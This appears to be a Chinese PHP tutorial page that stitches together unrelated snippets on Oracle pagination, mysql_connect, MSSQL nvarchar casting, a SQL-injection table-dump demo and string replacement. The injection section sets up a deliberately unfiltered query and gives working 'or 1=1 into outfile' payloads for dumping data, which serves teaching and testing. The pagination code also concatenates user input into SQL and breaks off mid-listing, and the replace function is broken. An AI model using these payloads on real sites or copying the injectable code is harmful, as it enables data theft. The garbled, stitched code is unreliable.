首页 > 编程技术 > php

php oracle数据库实现分页

发布时间:2016-11-25 16:37

本文章来介绍一下关于php和orace数据库实现数据库的分页功能,下面有需要的同学可以看看吧。
 代码如下 复制代码

<html>
<body>
<?
include "/maya/inc/dbconn.php";
$sql="select max(rownum) from xqhtest where id<50";
$stmt=ociparse($gConn,$sql);
ociexecute($stmt);
ocifetch($stmt);
$rowcount=ociresult($stmt,1);
ocifreestatement($stmt);
echo("共有".$rowcount."条记录<br>n");
$recordperpage=15; //每页显示多少条记录
$pages=ceil($rowcount/$recordperpage);  //总页数
echo("共有".$pages."页<br>n");

?>
<table border=0><tr><td>id</td><td>name</td></tr>
<?

//判断偏移量参数是否传递给了脚本,如果没有就使用默认值0

if (empty($offset))
{
    $offset=1;
}
$currentpage=ceil($offset/$recordperpage); //显示当前页
echo("当前页:".$currentpage."<br>n");
$endset=$offset+$recordperpage;

$stmt2=ociparse($gConn,"SELECT rownum,id,name FROM xqhtest WHERE id<50 and rownum<".$endset." minus select rownum,id,name from xqhtest where id<50 and rownum<".$offset);
//echo "SELECT id,name FROM xqhtest WHERE rownum<".$endset." minus select id,name from xqhtest where rownum<".$offset."<br>n";
ociexecute($stmt2);
//可以是任何sql语句,但select后面一定要有rownum,这是oracle特有的!
while (ocifetch($stmt2))

{
echo("<tr><td>".ociresult($stmt2,"ID")."</td><td>".ociresult($stmt2,"NAME")."</td></tr>n");

   //换成你用于显示返回记录的代码
}
//要写出到所有页面的链接
print "</table><br><br>";


for ($i=1; $i <= $pages; $i++)
{
  $newoffset=($recordperpage*($i-1))+1;
  print "<a href="$PHP_SELF?offset=$newoffset">$i</a> n";
}
print "<br>";

$nextoffset=$recordperpage*$currentpage+1;
$prevoffset=$recordperpage*($currentpage-2)+1;
//判断是否需要上一页连接
if (($currentpage>1) && ($currentpage<=$pages))
{
print "<a href="$PHP_SELF?offset=$prevoffset">上一页</a> n";
}

这是一篇利用php的mysql_connect函数来实现连接mysql数据库提示条件要你的php有php_mysql.dll和libmysql.dll及php.ini中的;extension=php_mysql,去掉前面的“;”了哦。
 代码如下 复制代码

<?php
mysql_connect("localhost", "root","1981427") //连接位于localhost的服务器,用户名为root
?>

连接再选择数据库

 代码如下 复制代码

<?php

@mysql_select_db("test") //选择数据库mydb

?>

这样我们就可以实现连接到数据库了

可能碰到的问题

运行代码出现:Call  to  undefined  function  'mysql_connect()'… 失败

这个提示function undefined是说没有mysql_connect()函数,

解决方法如下

将php_mysql.dll和libmysql.dll文件拷贝至c:winntsystem32中(我漏了libmysql.dll)

找到php.ini中的;extension=php_mysql,去掉前面的";"  重启服务器

 

好了万事具备了,现在我们就差一个简单的连接实例

例1

conn.php文件代码如下:

 代码如下 复制代码
<?php
$conn = @mysql_connect("localhost", "root", "root") or die("数据库链接错误");
mysql_select_db("data", $conn);//data为数据库名称
mysql_query("set names 'GBK'"); //使用GBK中文编码;
?>

 
index.php文件代码如下:

 代码如下 复制代码

<?php
 include("conn.php");//引入conn.php文件
  $SQL="SELECT * FROM `table` order by id desc";
  $query=mysql_query($SQL);
  while($row=mysql_fetch_array($query)){
?>
显示数据内容:
<?=$row[user]?>
<?
  }
?>

这样我们就实现的简单的php mysql连接并查询出我们需要的数据了。


更多关于php mysql数据连接

http://www.111cn.net/phper/18/60db56d779d2a21cfc4c596e1c3880e4.htm

PHP 连接 MSSQL 的新手经常遇到这个问题:数据库里面的 nvarchar 字段中数据一切正常,但是用 PHP 查询出来却发现长度只有 255,我们都知道,在 MySQL 里面 varchar 的长度只有 255,但是 MSSQL 却不是,不会是 PHP 将 nvarchar 按照 MySQL 的 varchar 处理了吧!

 本文给出了解决方法:

select cast(目标字段 as text) from 表名
假如你的 article 表中有个字段 summary 为 nvarchar,那么命令为:

 代码如下 复制代码
select cast(summary as text) from article

关于 cast :

 代码如下 复制代码

CAST ( expression AS data_type )

expression 为目标字段
data_type 为要转换成的数据类型

 

本文章以自己的一些经验来告诉你黑客朋友们会怎么利用你数据库的sql漏洞来把你的数据库下载哦,有需要的同这参考一下本文章。

在数据库中建立一张表:

 代码如下 复制代码

CREATE TABLE `article` (

  `articleid` int(11) NOT NULL AUTO_INCREMENT,

  `title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '',

  `content` text CHARACTER SET utf8 NOT NULL,

  PRIMARY KEY (`articleid`)

) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;

 

在表中插入数据的操作我就不贴代码了,可以去下载下来直接导入到数据库。

接下来,写一个处理用户请求的页面,这里,我们故意不过滤用户提交过来的数据,留下个SQL注入漏洞用来测试。

代码如下:

 代码如下 复制代码

<?php

       $servername = "localhost";

       $dbusername = "root";

       $dbpassword = "";

       $dbname = "test";

       $id=$_GET['id'];//id未经过滤

       $conn=mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");

       mysql_select_db($dbname,$conn);

       mysql_query('set names utf8');

       $sql = "SELECT * FROM article WHERE articleid='$id'";

       $result = mysql_query($sql,$conn);

       $row = mysql_fetch_array($result);

       echo "<p>利用SQL注入漏洞拖库<p>";

       if (!$row){

              echo "该记录不存在";

              exit;

       }

       echo "标题<br>".$row['title']."<p>";

       echo "内容<br>".$row['content']."<p>";

?>

 

我们直接在浏览器中输入:

 代码如下 复制代码

http://127.0.0.1/marcofly/phpstudy/sqlinsert/showart.php?id=1

即可访问article表中id为1的一条记录

访问结果如下:

 

接下来,我们就利用这个漏洞(不知道该漏洞的情况下,只能通过工具+手工检测),演示一下如何将article表下载下来。

在地址栏中输入:

 代码如下 复制代码
’ into outfile 'e:/sql.txt'%23

分析:%23是#的ASCII码,由于在地址栏中直接输入#后到数据库系统中会变成空,需要在地址栏中输入%23,那么才会变成#,进而注释掉后面的sql语句。

运行之后,打开E盘,发现多了一个sql.txt文件,打开之后,里面就是表article中的一条记录。

为什么只有一条记录呢?难道该数据表就只有一条记录?不是这样的,因为我们只检索id为1的一条记录而已,那么能否将article表中的所有记录一次性全部下载下来呢?

答案是可以的,只要你的构造的SQL语句足够灵活(再次提出了构造SQL语句的灵活性)。

 

分析一下,当在URL地址栏中输入’into outfile 'e:/sql.txt'%23的时候,合并到sql查询语句中变为:

 

 代码如下 复制代码


SELECT * FROM article WHERE articleid='5' into outfile 'e:/whf.txt'#'

仔细分析下之后,我们可以这样子构造SQL语句:

 

 

 代码如下 复制代码
SELECT * FROM article WHERE articleid='' or 1=1 into outfile 'e:/whf.txt'#'

这样的话,无论如何WHERE子句总是为真,换句话说,该sql语句等价于如下:

 

 

 代码如下 复制代码
SELECT * FROM article into outfile 'e:/whf.txt'#'

懂了吧,该sql语句在先执行select语句,将表article中的所以内容全部检索出来,然后再执行into outfile 'e:/whf.txt'#'将内容导出来。

 

不信的话,你执行下……

 

利用SQL注入漏洞,我们可以猜测表名,列名,用户的密码长度(LEFT函数)等等,当然了,如果能直接向以上的演示那样将表中的数据全部导出的话就没必要去猜表名列名等等

本文章分享一篇关于php mysql替换字符串方法,有需要的同学可以参考一下。
 代码如下 复制代码


<?php
function replace(){
$sql = db_query("SELECT field_languages_value,nid FROM {content_type_company_profile} WHERE

field_languages_value like '%Mandarin Chinese%'");
while($result = db_fetch_object($sql)){
$a = explode("Mandarin Chinese",$result->field_languages_used_value);
$b = $a[].'Chinese'.$a[1];
db_query("UPDATE content_type_company_profile SET field_languages_used_value = '%s' WHERE nid = %

d",$b,$result->nid);
}
}
?>

标签:[!--infotagslink--]

您可能感兴趣的文章: